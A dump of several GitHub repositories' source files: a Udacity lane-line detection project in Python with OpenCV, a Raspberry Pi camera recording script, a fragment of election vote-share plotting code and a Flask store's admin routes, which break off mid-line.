County\")\nfigure1.get_figure().savefig('accomack_county.pdf')\n\n#Albemarle County\nAlbemarleCounty = df.loc['Albemarle County'].sort_values(by = 'Year', ascending = True)\nfigure2 = AlbemarleCounty.plot(x =\"Year\", y=\"Republican Share\")\nplt.title(\"Republican Vote Share of Albemarle County\")\nfigure2.get_figure().savefig('albemarle_county.pdf')\n\n#Alexandria City\nAlexandriaCity = df.loc['Alexandria City'].sort_values(by = 'Year', ascending = True)\nfigure3 = AlexandriaCity.plot(x =\"Year\", y=\"Republican Share\")\nplt.title(\"Republican Vote Share of Alexandria City\")\nfigure3.get_figure().savefig('alexandra_city.pdf')\n\n#Alleghany County\nAlleghanyCounty = df.loc['Alleghany County'].sort_values(by = 'Year', ascending = True)\nfigure4 = AlleghanyCounty.plot(x =\"Year\", y=\"Republican Share\")\nplt.title(\"Republican Vote Share of Alleghany County\")\nfigure4.get_figure().savefig('alleghany_county.pdf')\n" } ]
3
muninn9/CarND-LaneLines-P2
https://github.com/muninn9/CarND-LaneLines-P2
880f148f938fdfca4d4f1b96e07961f97a310f63
f32a3f1f15dbf5994b9344ea179f39535db97406
49f1fb90880af1d532781c8474c22caa8e279422
refs/heads/master
2021-01-23T22:10:39.227792
2017-02-25T13:15:37
2017-02-25T13:15:37
83,119,382
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.6647230386734009, "alphanum_fraction": 0.6874635815620422, "avg_line_length": 35.40425491333008, "blob_id": "cc5cdfbc5c401ba05d2e82b909b3e07db31480c4", "content_id": "e1dbbfd5e79084c457e22e6fe8c5bfb1dd2e2da8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1715, "license_type": "no_license", "max_line_length": 126, "num_lines": 47, "path": "/camera_calibration.py", "repo_name": "muninn9/CarND-LaneLines-P2", "src_encoding": "UTF-8", "text": "import glob\nimport numpy as np\nimport matplotlib.image as mpimg\nimport matplotlib.pyplot as plt\nimport cv2\nimport pickle\n\n# This reads in all the calibration images and adds them to a list\nimages = glob.glob('camera_cal/calibration*.jpg')\n\n#These are arrays that will store the object points and image points from all the images\nobjpoints = [] # 3D points in real world space\nimgpoints = [] # 2D points in image plane\n\n# This prepare object points, like (0,0,0), (1,0,0), (2,0,0)....,(7,5,0)\nobjp = np.zeros((6*9,3), np.float32)\nobjp[:,:2] = np.mgrid[0:9,0:6].T.reshape(-1,2) # x, y coordinated\n\n\nfor idx, fname in enumerate(images):\n # This reads in each image file\n img = mpimg.imread(fname)\n\n # This converts image to grayscale\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n # This finds the chessboard corners, taking in the grayscale chessboard image and the dimensions of the chessboard corners\n ret, corners = cv2.findChessboardCorners(gray, (9,6), None)\n\n # This adds object points to the imgpoints array if there are corners\n if ret == True:\n imgpoints.append(corners)\n objpoints.append(objp)\n\n # This draws and displays the corners\n img = cv2.drawChessboardCorners(img, (9,6), corners, ret)\n\n # This calibrates the camera and undistorts the image\n ret, mtx, dist, rvecs, tvecs = cv2.calibrateCamera(objpoints, imgpoints, gray.shape[::-1],None,None)\n undist = cv2.undistort(img, mtx, dist, None, mtx)\n\n # This saves the results to disk for later use\n dist_pickle = {}\n dist_pickle[\"mtx\"] = mtx\n dist_pickle[\"dist\"] = dist\n file_path = \"calibration_wide/\" + str(idx) + '.p'\n pickle.dump(dist_pickle, open(file_path, \"wb\"))\n\n\n\n\n" }, { "alpha_fraction": 0.6326116323471069, "alphanum_fraction": 0.6637347936630249, "avg_line_length": 38.97297286987305, "blob_id": "9649e0932cf3c8cd312c2b20f786fa6bcce21617", "content_id": "8621545481d85085407cb0df2c61b7f6f8146840", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1478, "license_type": "no_license", "max_line_length": 95, "num_lines": 37, "path": "/draw_lines.py", "repo_name": "muninn9/CarND-LaneLines-P2", "src_encoding": "UTF-8", "text": "import numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\n\n\ndef draw_lines(warped, image, left_fitx, right_fitx, ploty, Minv, undist, radii, dfc):\n '''\n This function takes in the warped image and actually fills in the lane\n on the image\n '''\n\n # This creates an image to draw the lines on\n warp_zero = np.zeros_like(warped).astype(np.uint8)\n color_warp = np.dstack((warp_zero, warp_zero, warp_zero))\n\n # This recasts the x and y points into usable format for cv2.fillPoly()\n pts_left = np.array([np.transpose(np.vstack([left_fitx, ploty]))])\n pts_right = np.array([np.flipud(np.transpose(np.vstack([right_fitx, ploty])))])\n pts = np.hstack((pts_left, pts_right))\n\n # This draws the lane onto the warped blank image\n cv2.fillPoly(color_warp, np.int_([pts]), (0, 255, 0))\n\n # This warps the blank back to original image space using inverse perspective matrix (Minv)\n newwarp = cv2.warpPerspective(color_warp, Minv, (image.shape[1], image.shape[0]))\n\n # This combines the result with the original image\n result = cv2.addWeighted(image, 1, newwarp, 0.3, 0)\n\n radius = (radii[0] + radii[1]) / 2\n text1 = \"Radius of curvature is: \" + str(round(radius, 2)) + 'm'\n text2 = \"Vehicle is \" + str(round(dfc, 2)) + \"m from center\"\n result = cv2.putText(result, text1, (10, 40), cv2.FONT_HERSHEY_SIMPLEX, 1, (0,0,0))\n result = cv2.putText(result, text2, (10, 80), cv2.FONT_HERSHEY_SIMPLEX, 1, (0,0,0))\n\n\n return result" }, { "alpha_fraction": 0.6395253539085388, "alphanum_fraction": 0.6657119393348694, "avg_line_length": 31.171052932739258, "blob_id": "d8b35ee141d58ad6b53a3704faa7f93099ed80dd", "content_id": "28d481ec69739675b820f5bf621840d9c317690c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2444, "license_type": "no_license", "max_line_length": 114, "num_lines": 76, "path": "/threshold.py", "repo_name": "muninn9/CarND-LaneLines-P2", "src_encoding": "UTF-8", "text": "import numpy as np\nimport cv2\n\n\ndef abs_sobel_thresh(img, sx_thresh):\n '''\n This function takes an image, and threshold\n min / max values and returns a sobel binary threshold.\n '''\n\n # This takes the derivative in x\n sobelx = cv2.Sobel(img, cv2.CV_64F, 1, 0)\n\n # This takes absolute value of x derivative to accentuate lines away from horizontal\n abs_sobelx = np.absolute(sobelx)\n\n # This rescales back to 8 bit integer\n scaled_sobel = np.uint8(255 * abs_sobelx / np.max(abs_sobelx))\n\n # This creates a copy and apply the threshold\n sxbinary = np.zeros_like(scaled_sobel)\n\n # Here I'm using inclusive (>=, <=) thresholds\n sxbinary[(scaled_sobel >= sx_thresh[0]) & (scaled_sobel <= sx_thresh[1])] = 1\n\n return sxbinary\n\n\ndef mag_thresh(img, sobel_kernel=3, mag_thresh=(0, 255)):\n '''\n This function returns the magnitude of the gradient\n for a given sobel kernal size and threshold values\n '''\n\n # This takes both Sobel x and y gradients\n sobelx = cv2.Sobel(img, cv2.CV_64F, 1, 0, ksize=sobel_kernel)\n sobely = cv2.Sobel(img, cv2.CV_64F, 0, 1, ksize=sobel_kernel)\n\n # This calculates the gradient magnitude\n gradmag = np.sqrt(sobelx**2 + sobely**2)\n\n # This rescales to 8 bit\n scale_factor = np.max(gradmag)/255\n gradmag = (gradmag/scale_factor).astype(np.uint8)\n\n # This creates a binary image of ones where threshold is met, zeros otherwise\n binary_output = np.zeros_like(gradmag)\n binary_output[(gradmag >= mag_thresh[0]) & (gradmag <= mag_thresh[1])] = 1\n\n return binary_output\n\n\n\ndef dir_threshold(img, sobel_kernel=3, thresh=(0, np.pi/2)):\n '''\n This function thresholds an image for a given range and Sobel kernel\n '''\n\n # This calculates the x and y gradients\n sobelx = cv2.Sobel(img, cv2.CV_64F, 1, 0, ksize=sobel_kernel)\n sobely = cv2.Sobel(img, cv2.CV_64F, 0, 1, ksize=sobel_kernel)\n\n # This takes the absolute value of the gradient direction, apply a threshold, and create a binary image result\n absgraddir = np.arctan2(np.absolute(sobely), np.absolute(sobelx))\n binary_output = np.zeros_like(absgraddir)\n binary_output[(absgraddir >= thresh[0]) & (absgraddir <= thresh[1])] = 1\n\n return binary_output\n\n\n# --NOT IN USE--\n# def color_threshold(s_channel, s_thresh):\n# s_binary = np.zeros_like(s_channel)\n# s_binary[(s_channel >= s_thresh[0]) & (s_channel <= s_thresh[1])] = 1\n#\n# return s_binary" }, { "alpha_fraction": 0.6050282120704651, "alphanum_fraction": 0.6254699230194092, "avg_line_length": 37.70000076293945, "blob_id": "0d3dc836600507350b05b413ba2881c28f65643b", "content_id": "87c2250a23981c78947c64f78456e4a5d482dc85", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4256, "license_type": "no_license", "max_line_length": 132, "num_lines": 110, "path": "/detect_lane_lines.py", "repo_name": "muninn9/CarND-LaneLines-P2", "src_encoding": "UTF-8", "text": "from threshold import abs_sobel_thresh, mag_thresh, dir_threshold\nfrom perspective_transorm import warp\nfrom draw_lines import draw_lines\nfrom find_lines import find_lines\nimport matplotlib.image as mpimg\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport cv2\nimport pickle\nfrom moviepy.editor import VideoFileClip\n\n\ndef process_video(image):\n '''\n This function takes in an image either from a\n sequence of images or a single image and calls\n all methods responsible for undistorting,\n warping, and thresholding the image.\n '''\n\n img = np.copy(image)\n\n # This converts the image to HLS\n hsv = cv2.cvtColor(img, cv2.COLOR_RGB2HLS).astype(np.float)\n l_channel = hsv[:, :, 1]\n s_channel = hsv[:, :, 2]\n\n # This grabs the binary values\n gradx = abs_sobel_thresh(l_channel, sx_thresh = (7, 255))\n mag_binary = mag_thresh(s_channel, sobel_kernel=15, mag_thresh=(50, 255))\n dir_binary = dir_threshold(s_channel, sobel_kernel=21, thresh=(0, 1.3))\n # s_binary = color_threshold(s_channel, s_thresh=(170, 255)) --NOT IN USE--\n\n # This combines all the binary thresholds into one so that each can contribute its advantages\n combined = np.zeros_like(dir_binary)\n combined[((gradx == 1)) | ((mag_binary == 1) & (dir_binary == 1))] = 1\n\n\n\n # ############################## PERSPECTIVE TRANSFORM ############################## #\n\n # This reads in the saved camera matrix and distortion coefficients\n # These are the arrays calculated using cv2.calibrateCamera()\n dist_pickle = pickle.load( open( \"calibration_wide/19.p\", \"rb\" ) )\n mtx = dist_pickle[\"mtx\"]\n dist = dist_pickle[\"dist\"]\n\n # This is the perspective transform method\n warped_im, undist, Minv = warp(combined, mtx, dist)\n\n # ############################## FIND LINES AND RADII ############################## #\n\n # This defines conversions in x and y from pixels space to meters\n ym_per_pix = 30/720 # meters per pixel in y dimension\n xm_per_pix = 3.7/700 # meters per pixel in x dimension\n\n def get_radius(left_fit, right_fit):\n '''\n This function determines the radii from the polyfit\n '''\n\n # This gets a new polyfit with pixel-meter conversions\n left_fit = np.polyfit(yaxis * ym_per_pix, leftx * xm_per_pix, 2)\n right_fit = np.polyfit(yaxis * ym_per_pix, rightx * xm_per_pix, 2)\n\n # This defines a y-value where we want radius of curvature\n # The maximum y-value is chosen, corresponding to the bottom of the image\n y_eval = np.max(ploty)\n left_curverad = ((1 + (2 * left_fit[0] * y_eval * ym_per_pix + left_fit[1]) ** 2) ** 1.5) / np.absolute(2 * left_fit[0])\n right_curverad = ((1 + (2 * right_fit[0] * y_eval * ym_per_pix + right_fit[1]) ** 2) ** 1.5) / np.absolute(2 * right_fit[0])\n return left_curverad, right_curverad\n\n\n # This finds the lines through sliding window search\n lines, yaxis, leftx, rightx, dfc = find_lines(warped_im)\n\n dfc = dfc * ym_per_pix * .01\n\n # Polyfit\n left_fit = np.polyfit(yaxis, leftx, 2)\n right_fit = np.polyfit(yaxis, rightx, 2)\n\n ploty = np.linspace(0, warped_im.shape[0] - 1, warped_im.shape[0])\n left_fitx = left_fit[0] * ploty ** 2 + left_fit[1] * ploty + left_fit[2]\n right_fitx = right_fit[0] * ploty ** 2 + right_fit[1] * ploty + right_fit[2]\n\n # This is the radius of curvature\n left_rad, right_rad = get_radius(leftx, rightx)\n\n\n # ############################## DRAW LINES ############################## #\n\n\n # This draws the lines on an image either of a sequence of images or on a single image.\n result = draw_lines(warped_im, image, left_fitx, right_fitx, ploty, Minv, undist, [left_rad, right_rad], dfc)\n\n return result\n\n# This is used on only single images --NOT IN USE--\n# image = mpimg.imread('test_images/test5.jpg')\n# process_video(image)\n\n\n# ############################## PLAY VIDEO ############################## #\n\n# This reads in the video file and calls the function to process the video and detect the lane lines.\noutput = 'output3.mp4'\nclip1 = VideoFileClip(\"project_video.mp4\")\nwhite_clip = clip1.fl_image(process_video) #NOTE: this function expects color images!!\nwhite_clip.write_videofile(output, audio=False)" }, { "alpha_fraction": 0.604826807975769, "alphanum_fraction": 0.6212232708930969, "avg_line_length": 46.20869445800781, "blob_id": "078c436dd59c4cb95c74b680e949603b713ecc65", "content_id": "c40e71f73ecbef8f1269c57c0e635078437256d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5428, "license_type": "no_license", "max_line_length": 128, "num_lines": 115, "path": "/find_lines.py", "repo_name": "muninn9/CarND-LaneLines-P2", "src_encoding": "UTF-8", "text": "import numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\n\n\n\ndef find_lines(img):\n '''\n This takes in a thresholded image and\n finds the lanes lines with sliding window search\n '''\n\n # These are window parameters\n window_width = 50\n window_height = 80 # Breaks image into 9 vertical layers since image height is 720\n margin = 100 # How much to slide left and right for searching\n\n def window_mask(width, height, img_ref, center, level):\n output = np.zeros_like(img_ref)\n output[int(img_ref.shape[0] - (level + 1) * height):int(img_ref.shape[0] - level * height),\n max(0, int(center - width / 2)):min(int(center + width / 2), img_ref.shape[1])] = 1\n return output\n\n def find_window_centroids(image, window_width, window_height, margin):\n\n window_centroids = [] # Stores the (left,right) window centroid positions per level\n window = np.ones(window_width) # Creates a window template that will be used for convolutions\n\n # First find the two starting positions for the left and right lane by using np.sum to get the vertical image slice\n # and then np.convolve the vertical image slice with the window template\n\n # This sums quarter bottom of image to get slice\n l_sum = np.sum(img[int(3 * img.shape[0] / 4):, :int(img.shape[1] / 2)], axis=0)\n l_center = np.argmax(np.convolve(window, l_sum)) - window_width / 2\n r_sum = np.sum(img[int(3 * img.shape[0] / 4):, int(img.shape[1] / 2):], axis=0)\n r_center = np.argmax(np.convolve(window, r_sum)) - window_width / 2 + int(img.shape[1] / 2)\n\n # Distance from center (camera center - lane center)\n cc = int(img.shape[1] / 2)\n lc = int((r_center - l_center) / 2)\n dfc = abs(cc - lc)\n\n # Add what we found for the first layer\n window_centroids.append((l_center, r_center))\n\n # This goes through each layer looking for max pixel locations\n for level in range(1, (int)(img.shape[0] / window_height)):\n # convolves the window into the vertical slice of the image\n image_layer = np.sum(\n img[int(img.shape[0] - (level + 1) * window_height):int(img.shape[0] - level * window_height),\n :], axis=0)\n conv_signal = np.convolve(window, image_layer)\n # Finds the best left centroid by using past left center as a reference\n # Use window_width/2 as offset because convolution signal reference is at right side of window, not center of window\n offset = window_width / 2\n l_min_index = int(max(l_center + offset - margin, 0))\n l_max_index = int(min(l_center + offset + margin, img.shape[1]))\n l_center = np.argmax(conv_signal[l_min_index:l_max_index]) + l_min_index - offset\n # Finds the best right centroid by using past right center as a reference\n r_min_index = int(max(r_center + offset - margin, 0))\n r_max_index = int(min(r_center + offset + margin, img.shape[1]))\n r_center = np.argmax(conv_signal[r_min_index:r_max_index]) + r_min_index - offset\n # Add what was found for that layer\n window_centroids.append((l_center, r_center))\n\n return window_centroids, dfc\n\n window_centroids, dfc = find_window_centroids(img, window_width, window_height, margin)\n\n # These are empty arrays that will later store values for the polyfit\n leftx = []\n rightx = []\n yaxis = []\n\n # If any window centers were found\n if len(window_centroids) > 0:\n\n # Points used to draw all the left and right windows\n l_points = np.zeros_like(img)\n r_points = np.zeros_like(img)\n\n\n # Goes through each level and draws the windows\n for level in range(0, len(window_centroids)):\n # Window_mask is a function to draw window areas\n l_mask = window_mask(window_width, window_height, img, window_centroids[level][0], level)\n r_mask = window_mask(window_width, window_height, img, window_centroids[level][1], level)\n # Adds graphic points from window mask here to total pixels found\n l_points[(l_points == 255) | ((l_mask == 1))] = 255\n r_points[(r_points == 255) | ((r_mask == 1))] = 255\n ycalc = img.shape[0] - ((level * 2 + 1) * (window_height / 2))\n\n yaxis.append(ycalc)\n leftx.append(window_centroids[level][0])\n rightx.append(window_centroids[level][1])\n\n yaxis = np.array(yaxis)\n rightx = np.array(rightx)\n leftx = np.array(leftx)\n\n # This draws the results\n template = np.array(r_points + l_points, np.uint8) # add both left and right window pixels together\n zero_channel = np.zeros_like(template) # create a zero color channel\n template = np.array(cv2.merge((zero_channel, template, zero_channel)), np.uint8) # make window pixels green\n warpage = np.array(cv2.merge((img, img, img)),\n np.uint8) # making the original road pixels 3 color channels\n output = cv2.addWeighted(warpage, 1, template, 0.5, 0.0) # overlay the orignal road image with window results\n\n # If no window centers found, this displays orginal road image\n else:\n output = np.array(cv2.merge((img, img, img)), np.uint8)\n\n\n return output, yaxis, leftx, rightx, dfc" }, { "alpha_fraction": 0.4841040372848511, "alphanum_fraction": 0.5664739608764648, "avg_line_length": 19.382352828979492, "blob_id": "9ab39bee92fdc9ccab07798153f129943eea6f67", "content_id": "533bc001f0ba8d46580bde80dd7a1407ca7461bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 692, "license_type": "no_license", "max_line_length": 77, "num_lines": 34, "path": "/perspective_transorm.py", "repo_name": "muninn9/CarND-LaneLines-P2", "src_encoding": "UTF-8", "text": "import cv2\nimport numpy as np\n\n\ndef warp(img, mtx, mdist):\n '''\n This is the function responsible for perspective transform.\n '''\n\n img_size = (img.shape[1], img.shape[0])\n undist = cv2.undistort(img, mtx, mdist, None, mtx)\n\n # Four source coordinates\n src = np.float32(\n [[672, 442],\n [1108, 719],\n [207, 719],\n [600, 447]])\n\n dst = np.float32(\n [[980, 0],\n [980, 719],\n [330, 719],\n [330, 0]])\n\n M = cv2.getPerspectiveTransform(src, dst)\n\n Minv = cv2.getPerspectiveTransform(dst, src)\n\n\n warped = cv2.warpPerspective(undist, M, img_size, flags=cv2.INTER_LINEAR)\n\n\n return warped, undist, Minv" }, { "alpha_fraction": 0.7680515646934509, "alphanum_fraction": 0.7762177586555481, "avg_line_length": 75.69230651855469, "blob_id": "8906012cf9e7cc0c53a1f92ee5ad30ae4c75dcc1", "content_id": "db330c355b0cfa524ae3954932fe6de0ccbe9a0d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 6980, "license_type": "no_license", "max_line_length": 886, "num_lines": 91, "path": "/README.md", "repo_name": "muninn9/CarND-LaneLines-P2", "src_encoding": "UTF-8", "text": "##Writeup\n\n---\n\n**Advanced Lane Finding Project**\n\nThe goals / steps of this project are the following:\n\n* Compute the camera calibration matrix and distortion coefficients given a set of chessboard images.\n* Apply a distortion correction to raw images.\n* Use color transforms, gradients, etc., to create a thresholded binary image.\n* Apply a perspective transform to rectify binary image (\"birds-eye view\").\n* Detect lane pixels and fit to find the lane boundary.\n* Determine the curvature of the lane and vehicle position with respect to center.\n* Warp the detected lane boundaries back onto the original image.\n* Output visual display of the lane boundaries and numerical estimation of lane curvature and vehicle position.\n\n[//]: # (Image References)\n\n[image1]: ./examples/undistort_output.png \"Undistorted\"\n[image2]: ./test_images/test1.jpg \"Road Transformed\"\n[image3]: ./examples/binary_combo_example.jpg \"Binary Example\"\n[image4]: ./examples/warped_straight_lines.jpg \"Warp Example\"\n[image5]: ./examples/color_fit_lines.jpg \"Fit Visual\"\n[image6]: ./examples/example_output.jpg \"Output\"\n[video1]: ./project_video.mp4 \"Video\"\n\n## [Rubric](https://review.udacity.com/#!/rubrics/571/view) Points\n###Here I will consider the rubric points individually and describe how I addressed each point in my implementation. \n\n---\n###Camera Calibration\n\n####1. Briefly state how you computed the camera matrix and distortion coefficients. Provide an example of a distortion corrected calibration image.\n\nThe code for this step is contained in `camera_calibration.py`\n\nI start by preparing `objpoints`, which will be the (x, y, z) coordinates of the chessboard corners in the world. Here I am assuming the chessboard is fixed on the (x, y) plane at z=0, such that the object points are the same for each calibration image. Thus, `objp` is just a replicated array of coordinates, and `objpoints` will be appended with a copy of it every time I successfully detect all chessboard corners in a test image. `imgpoints` will be appended with the (x, y) pixel position of each of the corners in the image plane with each successful chessboard detection. \n\nI then used the output `objpoints` and `imgpoints` to compute the camera calibration and distortion coefficients using the `cv2.calibrateCamera()` function. I applied this distortion correction to the test image using the `cv2.undistort()` function and obtained this result: \n\n![chessboard_original](output_images/camera_cal_org.png)![chessboard_undistorted](output_images/camera_cal_undist.png)\n\n###Pipeline (single images)\nThe pipeline is found in `detect_lane_lines.py`. The image I will be modifying will be this one:\n\n![original_image](output_images/test5.jpg)\n\n####1. Describe how (and identify where in your code) you used color transforms, gradients or other methods to create a thresholded binary image. Provide an example of a binary image result.\nI used a combination of color and gradient thresholds to generate a binary image (thresholding steps at lines 23 through 36 in `detect_lane_lines.py`). This process is broken up into four steps. First I converted the image to HSV because that gave better contrast under a variety of lighting conditions. The rest of the threshold steps can be found in `threshold.py` where I use three different thresholding techniques to further transform the image. Here's an example of my output for this step.\n![threshold](output_images/thresholded_image.png)\n####2. Provide an example of a distortion-corrected image.\nThe code for distortion correction can be found in `perspective_transform.py`. It is done with `cv2.undistort` given the mtx and mdist values that were calculated and saved during the camera calibration process.\n\n####3. Describe how (and identify where in your code) you performed a perspective transform and provide an example of a transformed image.\n\nThe code for my perspective transform includes a function called `warp()`, which appears on line 49 in the file `detect_lane_lines.py` and the innards are in `perspective_transform.py`. The warp() function takes as inputs an image (combined), as well as matrix (mtx) and destination (dst) points. I got the mtx and destination points from previously saved values during the camera calibration.\n\n![perspective_transform](output_images/perspective_transform.png)\n\n####4. Describe how (and identify where in your code) you identified lane-line pixels and fit their positions with a polynomial?\n\nI then found the lines of the warped image as seen in `find_lines.py`. This function uses the sliding window search approach. It returns a yaxis, leftx, and rightx values in order to fid a 2nd order polynomial using the equation f(y) = Ay^2 + By + C. This resulted in the image below.\n\n![polyfit](output_images/polyfit2.png)\n\n####5. Describe how (and identify where in your code) you calculated the radius of curvature of the lane and the position of the vehicle with respect to center.\n\nI did this in lines 53 through 71 in my code in `detect_lane_lines.py`. The results I got (522.09, 657.23) seem congruous with the U.S. government specifications for highway curvature. If you were going 60 mph on a highway the curve radius specification would be about 669 which is within the neighborhood of the results I attained.\n\n####6. Provide an example image of your result plotted back down onto the road such that the lane area is identified clearly.\n\nI implemented this step on line 94 in my code in `detect_lane_lines.py` in the function `draw_lines()`. Here is an example of my result on a test image:\n\n![result](output_images/result.png)\n\n---\n\n###Pipeline (video)\n\n####1. Provide a link to your final video output. Your pipeline should perform reasonably well on the entire project video (wobbly lines are ok but no catastrophic failures that would cause the car to drive off the road!).\n\nHere's a [link to my video result](output.mp4)\n\n---\n\n###Discussion\n\n####1. Briefly discuss any problems / issues you faced in your implementation of this project. Where will your pipeline likely fail? What could you do to make it more robust?\n\nI had problems on the challenge videos. I tried saving n past x values and using average values whenever my lines were being detected incorrectly. I determined they were incorrect by testing to see they difference between the left and right lines were below some threshold. If I could spend more time on this I would continue with this approach because I think I'm on the right track though I'm not quite sure where I went wrong. I just need more time. As it is my pipeline will definitely fail whenever the road is not pristine. For instance, if there is some semblance of a line that is actually a crack then it will detect it as a lane line. I would solve this by making sure the left and right lines are some distance away from the center. Of course there are many other things that could be revised or improved upon and I look forward to continuing with this project in the future. \n" } ]
7
yashrajbharti/raspberryPi-video-record
https://github.com/yashrajbharti/raspberryPi-video-record
7d5423b98d647a705424e019e76d545c77aeef6f
6755cebbf6bdaf78acd6038cee5ec7995c2b0843
2904b66a558edd08cec2be1662e1fbfb7c32db97
refs/heads/master
2020-11-24T02:44:07.838712
2019-12-13T22:35:30
2019-12-13T22:35:30
227,931,897
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6907216310501099, "alphanum_fraction": 0.7332473993301392, "avg_line_length": 46.375, "blob_id": "502df9d8b0f79b9befd5517708af63bfe5604045", "content_id": "b2b0a6396bc5a8a62c2d6257a579560e88c5cc47", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 776, "license_type": "no_license", "max_line_length": 144, "num_lines": 16, "path": "/README.md", "repo_name": "yashrajbharti/raspberryPi-video-record", "src_encoding": "UTF-8", "text": "# raspberryPi-video-record \n![](https://www.raspberrypi.org/app/uploads/2011/10/Raspi-PGB001-300x267.png) \n \n## Terminal \n```\nsudo apt-get install python-picamera\nnano cameraexample2.py\npython cameraexample2.py\nomxplayer examplevid.h264\n```\n \n## What it does?\n1. It first installs python-picamera so we can use the supersimple camera module that we get for Raspberry Pi (Ignore if already installed). \n2. Then we write the python code in nano. **see cameraexample2.py**, That's the code I wrote. \n3. Finally we execute the code with python cameraexample2.py and the camera module records a 5 second video and saves it as \"examplevid.h264\". \n4. If we want to see our video we perform omxplayer _video name_ which is \"examplevid.h264\" in our case. \n\n \n\n \n \n \n" }, { "alpha_fraction": 0.7569444179534912, "alphanum_fraction": 0.7847222089767456, "avg_line_length": 18.200000762939453, "blob_id": "e5678306a084493883644fdd4b665f71af16a398", "content_id": "f2e3f366d889aa3255a25b818f0bf679014d6c11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 288, "license_type": "no_license", "max_line_length": 60, "num_lines": 15, "path": "/cameraexample2.py", "repo_name": "yashrajbharti/raspberryPi-video-record", "src_encoding": "UTF-8", "text": "import picamera\nimport time\n\ncamera = picamera.PiCamera()\ncamera.vflip = true\n# vertical flip if needed\n\ncamera.start_recording('examplevid.h264')\n# video with file name examplevid.h264 has started recording\n\ntime.sleep(5)\n# records for 5 seconds\n\ncamera.stop_recording\n# recording stops\n" } ]
2
iwfet/site_heroku_23_06_2021
https://github.com/iwfet/site_heroku_23_06_2021
ccd3694f3fe7d667e6f66d0157224b8daafda0c5
5fa611c7d0175eeaed83627d0745c28be0d2e417
b86e75439500906e04f97e6ee3ddf3ef7e9b614a
refs/heads/master
2023-05-31T02:20:17.252666
2021-06-23T01:43:34
2021-06-23T01:43:34
379,629,652
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6469952464103699, "alphanum_fraction": 0.6502377986907959, "avg_line_length": 32.04999923706055, "blob_id": "f5505299f60ef7755289e6d7c947fc3003b4c0ba", "content_id": "fad4ca74ad5253e68edfacdc3129a582b71c6d21", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4633, "license_type": "no_license", "max_line_length": 144, "num_lines": 140, "path": "/loja/admin/rotas.py", "repo_name": "iwfet/site_heroku_23_06_2021", "src_encoding": "UTF-8", "text": "from flask import render_template, session, request, url_for, redirect, flash\nfrom wtforms import form\nfrom loja.produtos.models import Addproduto,Marca, Categoria\nfrom loja import app, db, bycrpt\nfrom .formulario import RegistrationForm, LoginFormulario\n\nfrom .models import User\nimport os\n\n\n\n\[email protected]('/')\ndef home(): \n \n produtosDesconto = Addproduto.query.filter(Addproduto.discount > 0)\n produtos = Addproduto.query.filter(Addproduto.discount <= 0)\n categorias = Categoria.query.all()\n return render_template('admin/index.html', title='Crypto$tore', produtos=produtos, categorias=categorias, produtosDesconto=produtosDesconto)\n\n\[email protected]('/categoria/<int:id>', methods=['GET','POST'])\ndef obter_categoria(id):\n categorias1 = Addproduto.query.filter_by(categoria_id=id)\n categorias = Categoria.query.all()\n\n return render_template('admin/index.html', title='Crypto$tore', categorias1=categorias1, categorias=categorias)\n\n\n\n\[email protected]('/admin')\ndef admin():\n if 'email' not in session:\n flash('Faça login para prosseguir!', 'danger')\n return redirect(url_for('login'))\n\n if ('email' in session) and (session['email'] == '[email protected]' or '[email protected]'):\n produtos = Addproduto.query.all()\n return render_template('admin/admin.html',title='Pagina admin', produtos=produtos)\n else:\n return redirect(url_for('home'))\n\n\[email protected]('/marcas')\ndef marcas(): \n if 'email' not in session:\n flash('Faça login para prosseguir!', 'danger')\n return redirect(url_for('login'))\n\n if ('email' in session) and (session['email'] == '[email protected]' or '[email protected]'): \n marcas = Marca.query.order_by(Marca.id.desc()).all()\n return render_template('admin/marca.html', title='Pagina Marcas', marcas=marcas)\n else:\n return redirect(url_for('home'))\n\[email protected]('/categoria')\ndef categoria():\n if 'email' not in session:\n flash('Faça login para prosseguir!', 'danger')\n return redirect(url_for('login'))\n \n if ('email' in session) and (session['email'] == '[email protected]' or '[email protected]'): \n categoria = Categoria.query.order_by(Categoria.id.desc()).all()\n return render_template('admin/marca.html', title='Pagina categoria', categoria=categoria)\n else:\n return redirect(url_for('home'))\n\n\[email protected]('/produto/<int:id>', methods =['GET','POST'])\ndef produto(id):\n produto = Addproduto.query.get_or_404(id) \n categorias = Categoria.query.all() \n \n \n return render_template('admin/produto.html', title='Produto', produto=produto, form=form, categorias=categorias )\n\n\n\n\n\n\[email protected]('/registrar', methods=['GET','POST'])\ndef registrar():\n form = RegistrationForm(request.form)\n if request.method == 'POST' and form.validate(): \n hash_password = bycrpt.generate_password_hash(form.password.data) \n user = User(name=form.name.data, username=form.username.data, email=form.email.data, password= hash_password) \n db.session.add(user)\n db.session.commit()\n flash(f'Obrigado {form.name.data} por registrar!', 'success')\n return redirect(url_for('login')) \n else: \n return render_template('admin/registrar.html', form=form , title=\"Pagina de registro\")\n\n\[email protected]('/login', methods=['GET','POST'])\ndef login():\n form = LoginFormulario(request.form)\n if request.method == \"POST\" and form.validate():\n user = User.query.filter_by(email=form.email.data).first()\n if user and bycrpt.check_password_hash(user.password, form.password.data):\n session['email'] = form.email.data\n \n\n name_do_email = User.query.filter_by(email=form.email.data).first() \n username = name_do_email.username \n\n flash(f'Olá, {username}!', 'success')\n return redirect(request.args.get('next')or url_for('home'))\n else:\n flash('Não foi possivel logar no sistema.')\n return render_template('admin/login.html', form=form, 